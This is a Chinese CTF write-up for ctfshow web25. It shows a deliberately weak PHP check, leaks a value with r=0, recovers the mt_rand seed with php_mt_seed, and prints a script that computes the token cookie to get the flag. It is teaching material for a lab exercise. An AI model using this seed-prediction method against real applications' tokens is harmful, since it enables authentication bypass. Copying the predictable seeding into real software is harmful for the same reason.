伪随机数实战-ctfshow-web25

一、代码

php 复制代码
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(hexdec(substr(md5($flag), 0,8)));
    $rand = intval($r)-intval(mt_rand());
    if((!$rand)){
        if($_COOKIE['token']==(mt_rand()+mt_rand())){
            echo $flag;
        }
    }else{
        echo $rand;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}
Linux version 5.4.0-163-generic (buildd@lcy02-amd64-067) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 Linux version 5.4.0-163-generic (buildd@lcy02-amd64-067) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023

核心逻辑:获取参数 r

◦ 用 flag 的 MD5 前 8 位作为种子设置随机数生成器

◦ 计算 $rand = r - mt_rand()

◦ 如果 $rand == 0(PHP 中 0 为 false),进入内部判断

◦ 内部判断:检查 cookie 中的 token 是否等于 mt_rand() + mt_rand()

二、构造r=0,得到第一个随机数。

html 复制代码
https://213a6800-6253-40a3-8ee7-e6dd656783f9.challenge.ctf.show/?r=0

-1533155238

这个就是第一个随机数的相反数。这时候需要爆出来seed,利用工具php_mt_seed

得到种子555142231,这里需要注意版本的选择。

接下来计算剩下两个随机数的和,顺便校验一下种子。发现没有问题。

php 复制代码
<?php
$seed = 555142231; 
mt_srand($seed);

// 第一个 mt_rand() 应该等于 1533155238
$first = mt_rand();
echo "First mt_rand(): $first\n";

// 第二个和第三个用于 token
$second = mt_rand();
$third = mt_rand();
$token = $second + $third;
echo "Token needed: $token\n";
?>

#First mt_rand(): 1533155238
#Token needed: 2757172022

BP拦截修改,得到flag

三、PHP随机数漏洞

在php中每一次调用mt_rand()函数,都会检查一下系统有没有播种。(播种为mt_srand()函数完成),当随机种子生成后,后面生成的随机数都会根据这个随机种子生成。所以同一个种子下,随机数的序列是相同的,这就是漏洞点。

相关推荐
hengdonghui8 小时前
Writeup 4 2020 - 之江杯 - 异常的工程文件
ctf·工控
hengdonghui9 小时前
Writeup 4 2020 - 之江杯 - 注册表分析
注册表·ctf
kali-Myon11 天前
分享一个网络安全 AI 工具导航项目 SecSkills
安全·ai·github·ctf
蒲公英eric12 天前
从旧接口泄露到 OAuth 保护:DVWA API 模块完整漏洞分析教程
web安全·ai·ctf·dvwa·ai安全·api模块
白猫不黑13 天前
CTF是什么?从零理解一场攻防竞赛
网络·web安全·计算机·网络安全·信息安全·ctf·红蓝对抗
玫幽倩14 天前
2026第二届湾区杯网络安全大赛决赛(AI专项赛道静态题wp)
pytorch·python·ai·agent·ctf·rag·湾区杯
落寞的魚丶16 天前
2026年浙江省信息通信业职业技能竞赛(信息安全测试员竞赛) 初赛Wireup
ctf·鱼影安全·2026网络安全通信行业·信息安全测试员竞赛·通信职业技能大赛
合天网安实验室21 天前
Modbus协议及其取证的学习笔记
ctf·modbus·通信协议·取证
努力的lpp21 天前
php反序列化一(大白话版)
开发语言·web安全·php·ctf·反序列化
蒲公英eric21 天前
从直接重定向到白名单验证:DVWA 开放重定向模块完整漏洞分析教程
web安全·ai·ctf·dvwa·ai安全·开放重定向模块